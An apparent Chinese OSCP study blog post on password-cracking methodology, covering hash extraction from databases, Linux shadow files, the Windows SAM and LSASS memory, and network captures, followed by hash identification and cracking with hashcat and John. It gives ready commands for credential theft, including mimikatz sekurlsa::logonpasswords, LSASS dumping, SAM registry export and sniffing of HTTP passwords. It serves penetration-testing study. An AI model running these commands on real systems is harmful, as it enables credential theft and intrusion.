❿⁄₅ ⟦ OSCP ⬖ 研记 ⟧ 密码攻击 ➱ 密码破解理论(下)

**郑重声明:**本文所涉安全技术仅限用于合法研究与学习目的,严禁任何形式的非法利用。因不当使用所导致的一切法律与经济责任,本人概不负责。任何形式的转载均须明确标注原文出处,且不得用于商业目的。

🔋 点赞 | 能量注入 ❤️ 关注 | 信号锁定 🔔 收藏 | 数据归档 ⭐️ 评论| 保持连接💬

🌌 立即前往 👉晖度丨安全视界🚀​​​

​​​​

▶ 信息收集

▶ 漏洞检测
▶ 初始立足点 ➢ 密码攻击 ➢ 密码破解理论(下)🔥🔥🔥

▶ 权限提升

▶ 横向移动

▶ 报告/分析

▶ 教训/修复

目录

1.密码破解理论

[1.1 密码破解流程](#1.1 密码破解流程)

[1.1.1 哈希破解五步流程图](#1.1.1 哈希破解五步流程图)

[1.1.2 各步骤详细说明](#1.1.2 各步骤详细说明)

[1.1.2.1 提取哈希值](#1.1.2.1 提取哈希值)

1.数据库表提取

①MySQL/MariaDB

②PostgreSQL

③MSSQL

2.系统文件提取

①Linux/Unix系统

②Windows系统

3.内存提取

①Windows系统

②Linux系统

4.网络流量提取

①通用抓包

②提取Web认证哈希

③提取数据库通信哈希

[1.1.2.2 格式化哈希值](#1.1.2.2 格式化哈希值)

1.哈希格式处理

2.哈希类型识别

[1.1.2.3 计算破解时间](#1.1.2.3 计算破解时间)

[1.1.2.4 准备变异字典](#1.1.2.4 准备变异字典)

[1.1.2.5 攻击哈希值](#1.1.2.5 攻击哈希值)

1.关键检查点

2.破解成功验证

3.常见陷阱与规避方法

[1.1.3 迭代优化循环](#1.1.3 迭代优化循环)

[1.1.4 方法论核心原则](#1.1.4 方法论核心原则)

[欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论](#欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论)


1.密码破解理论

1.1 密码破解流程

1.1.1 哈希破解五步流程图

📊 破解步骤详解:

步骤 名称 关键操作 工具/方法 注意事项
提取哈希值 从目标系统获取哈希 - 数据库转储 - 内存提取 - 文件提取 确保哈希完整性,避免截断
格式化哈希值 识别并转换格式 - hash-identifier - hashid - 专用转换工具 精确识别哈希算法,避免格式错误
计算破解时间 评估可行性 公式: 破解时间 = 密钥空间 ÷ 哈希速率 考虑测试时间窗口,避免不切实际的尝试
准备变异字典 增强字典攻击效果 - 基于规则变异 - 分析密码策略 - 参考泄露数据 优先使用变异字典而非原始字典
攻击哈希值 执行破解操作 Hashcat、John the Ripper等 注意哈希值输入格式,确认算法类型

1.1.2 各步骤详细说明

1.1.2.1 提取哈希值
来源位置 提取方法 具体命令/工具 输出示例
数据库表 SQL查询转储 MySQL: SELECT user, password FROM users; PostgreSQL: SELECT usename, passwd FROM pg_shadow; admin:5f4dcc3b5aa765d61d8327deb882cf99
系统文件 文件读取 Linux: cat /etc/shadow Windows: reg save HKLM\SAM sam.save root:$6$...:18959:0:99999:7:::
内存 内存转储分析 Windows: procdump.exe -ma lsass.exe lsass.dmp Linux: gcore -o core.pid LSASS进程内存文件
网络流量 抓包分析 tcpdump -i eth0 -w capture.pcap tshark -r capture.pcap -Y "http.authbasic" HTTP Basic认证头

🛠️ 实用工具集

工具 用途 示例命令
hashcat 密码破解 hashcat -m 0 hash.txt rockyou.txt
john 密码破解 john --format=raw-md5 hash.txt
mimikatz Windows凭据提取 sekurlsa::logonpasswords
pwdump Windows哈希提取 pwdump.exe system.save sam.save
tcpdump 网络抓包 tcpdump -i eth0 -w capture.pcap
Wireshark 网络分析 GUI分析或tshark命令行
sqlmap 数据库渗透 sqlmap -u "http://site.com" --passwords
1.数据库表提取
①MySQL/MariaDB
sql 复制代码
-- 标准查询(需适当权限)
SELECT user, authentication_string FROM mysql.user;

-- 旧版本或特定格式
SELECT user, password FROM mysql.user;

-- 导出到文件(命令行)
mysql -u root -p -e "SELECT user, authentication_string FROM mysql.user" > hashes.txt
②PostgreSQL
sql 复制代码
-- 查询用户密码哈希
SELECT usename, passwd FROM pg_shadow;

-- 导出到文件
\copy (SELECT usename, passwd FROM pg_shadow) TO '/tmp/pg_hashes.csv' WITH CSV;
③MSSQL
sql 复制代码
-- SQL Server
SELECT name, password_hash FROM sys.sql_logins;

-- 配合解密(需特权)
SELECT name, CAST(password AS varchar(100)) FROM sys.syslogins;

2.系统文件提取
①Linux/Unix系统
bash 复制代码
# 读取shadow文件(需root)
sudo cat /etc/shadow

# 仅提取用户名和哈希
sudo awk -F: '{print $1":"$2}' /etc/shadow

# 备份文件(历史哈希)
cat /etc/shadow-  # 备份文件
cat /etc/passwd   # 部分旧系统密码哈希

# 提取特定用户
sudo grep -E '^(root|admin):' /etc/shadow
②Windows系统
bash 复制代码
# 方法1:使用reg命令导出SAM
reg save HKLM\SAM C:\sam.save
reg save HKLM\SYSTEM C:\system.save

# 方法2:使用Mimikatz(需管理员)
privilege::debug
token::elevate
lsadump::sam

# 方法3:PowerShell提取
Copy-Item C:\Windows\System32\config\SAM C:\temp\sam.bak
Copy-Item C:\Windows\System32\config\SYSTEM C:\temp\system.bak

3.内存提取
①Windows系统
bash 复制代码
# 方法1:使用Procdump(微软官方工具)
procdump.exe -accepteula -ma lsass.exe lsass.dmp

# 方法2:使用Mimikatz(内存提取)
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords full

# 方法3:使用Task Manager
# 右键lsass.exe → Create dump file
②Linux系统
bash 复制代码
# 提取所有进程内存
sudo gcore -o /tmp/core.pid [PID]

# 查找特定进程
ps aux | grep [process_name]

# 提取SSH密钥等
sudo strings /proc/[pid]/mem | grep -i "ssh"

# 使用LiME内核模块
insmod lime.ko "path=/tmp/memdump.lime format=lime"

4.网络流量提取
①通用抓包
bash 复制代码
# 使用tcpdump
sudo tcpdump -i eth0 -s 0 -w capture.pcap port 80 or port 443

# 使用tshark过滤
tshark -r capture.pcap -Y "http.request.method == POST" -T fields -e http.authbasic

# 实时监控HTTP认证
sudo tcpdump -i eth0 -A -s 0 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)' | grep -E 'Authorization:|password=|passwd='
②提取Web认证哈希
bash 复制代码
# 提取HTTP Basic认证
tshark -r capture.pcap -Y "http.authbasic" -T fields -e http.authbasic | base64 -d

# 提取Cookie/Session
tshark -r capture.pcap -Y "http.cookie" -T fields -e http.cookie

# 提取表单提交的密码
tshark -r capture.pcap -Y "http.request.method == POST" -T fields -e http.file_data | grep -i password
③提取数据库通信哈希
bash 复制代码
# MySQL认证抓取
sudo tcpdump -i eth0 -s 0 -w mysql.pcap port 3306

# 分析MySQL握手包
tshark -r mysql.pcap -Y "mysql" -T fields -e mysql.auth_response

# PostgreSQL认证
tshark -r capture.pcap -Y "pgsql" -T fields -e pgsql.auth_response

1.1.2.2 格式化哈希值
1.哈希格式处理
bash 复制代码
# 清理提取的哈希值
# 移除空格和特殊字符
sed -i 's/[[:space:]]//g' hashes.txt

# 仅保留有效哈希行
grep -E '^[a-fA-F0-9]{32,128}$' hashes.txt > clean_hashes.txt

# 分割用户名和哈希
awk -F: '{print $2 > "hashes_only.txt"}' extracted.txt
2.哈希类型识别

| 任务 | 工具 | 使用示例 | 输出目标 |
| 识别算法 | hash-identifier | hashid "5f4dcc3b5aa765d61d8327deb882cf99" | MD5、SHA1等 |
| 验证格式 | 人工检查 | 查看长度、字符集 | 符合工具要求格式 |

转换格式 脚本工具 john --format=raw-md5 hash.txt 标准哈希文件格式
bash 复制代码
# 使用hash-identifier
hash-identifier
# 粘贴哈希值进行识别

# 使用hashid
hashid 5f4dcc3b5aa765d61d8327deb882cf99

# 文件批量识别
hashid -j hashes.txt

1.1.2.3 计算破解时间

计算公式:

bash 复制代码
破解时间(秒) = 密钥空间大小 ÷ 哈希计算速率(次/秒)
参数 定义 如何确定
密钥空间 所有可能密码的组合数 字符集长度^密码长度
哈希速率 每秒可尝试的哈希次数 工具基准测试或硬件规格
实际时间 考虑概率的期望时间 密钥空间 ÷ 2 ÷ 哈希速率

可行性判断标准:

时间范围 建议行动
< 1小时 立即执行
1小时 - 1天 安排进行
1天 - 1周 评估必要性
> 1周 放弃或换方法

1.1.2.4 准备变异字典

本部分的内容,具体详见上一篇文章。

准备策略 实施方法 优势
规则变异 使用规则文件自动修改 覆盖用户常见修改模式
策略分析 研究目标密码策略要求 针对性更强,效率更高
泄露数据 整合已知泄露密码 利用用户重复使用密码习惯
混合攻击 组合多个字典和规则 覆盖更广泛的可能性

1.1.2.5 攻击哈希值
1.关键检查点
检查项 常见问题 解决方法
哈希值 多余空格/换行 使用cat -A检查隐藏字符
算法类型 多种算法特征相似 使用多个工具交叉验证
工具配置 参数错误 先用已知哈希测试工具
输出结果 破解成功但未显示 检查工具输出级别设置
2.破解成功验证
bash 复制代码
# 验证破解结果
$ echo "破解出的密码" | hashcat -m 算法ID 目标哈希 --stdout
# 比较输出的哈希值与目标是否一致
3.常见陷阱与规避方法
陷阱 表现 规避方法
哈希识别错误 长时间无结果 使用多个识别工具交叉验证
格式错误 工具报错"无效哈希" 检查样例格式,使用转换脚本
时间估计偏差 远超过预估时间 定期检查进度,设置时间限制
字典不足 多次尝试无结果 组合多个来源字典,添加规则变异
硬件限制 破解速度极慢 考虑GPU加速或云服务

1.1.3 迭代优化循环

bash 复制代码
尝试破解 → 分析结果 → 调整策略 → 再次尝试
    ↑                               ↓
    └───────────────────────────────┘
现象 可能调整
无任何命中 扩大字典范围,增加规则
部分相似密码命中 针对性地设计新规则
时间过长 缩小密钥空间,聚焦高概率密码

1.1.4 方法论核心原则

  1. 准备优于蛮力:充分的准备(字典、规则)比单纯增加计算能力更有效

  2. 验证先行:在长时间运行前验证哈希格式、工具配置

  3. 时间意识:始终考虑时间成本,设置合理的期望和截止点

  4. 迭代优化:基于每次尝试的结果不断优化策略

  5. 多样化尝试:不依赖单一方法,准备多种攻击路径

成功的关键在于系统化的方法和持续的优化,而非单纯依赖计算能力。

下文开始按照本文的流程,进行完整的密码破解的实践。


欢迎❤️ 点赞 | 🔔 关注 | ⭐️ 收藏 | 💬 评论

每一份支持,都是我持续输出的光。

相关推荐
lifejump18 小时前
Pikachu | Unsafe Filedownload
前端·web安全·网络安全·安全性测试
芯盾时代1 天前
石油化工行业网络风险解决方案
网络·人工智能·信息安全
白山云北诗1 天前
企业网站网络安全防护方案
安全·web安全·网络安全·ddos防护·web应用防火墙·cc防护
FIT2CLOUD飞致云2 天前
操作教程|JumpServer基于作业中心脚本定时删除Windows Server本地用户
运维·网络安全·开源·堡垒机
Bruce_Liuxiaowei2 天前
工作组环境内部信息搜集:从基础查询到权限分析
网络·经验分享·网络安全
网安CILLE2 天前
Linux 命令大全(网络安全常用)
linux·运维·服务器·网络安全
独角鲸网络安全实验室2 天前
CVE-2025-61882深度分析:Oracle Concurrent Processing BI Publisher集成远程接管漏洞的技术原理与防御策略
数据库·网络安全·oracle·漏洞·ebs·cve-2025-61882·xml 注入
yesyesido2 天前
高效安全局域网文件传输平台:零配置、高速度、跨设备的本地数据共享解决方案
安全·web安全·网络安全
小白勇闯网安圈2 天前
[极客大挑战 2019]BabySQL、[极客大挑战 2019]PHP、[极客大挑战 2019]BuyFlag、[RoarCTF 2019]Easy Calc
网络安全·php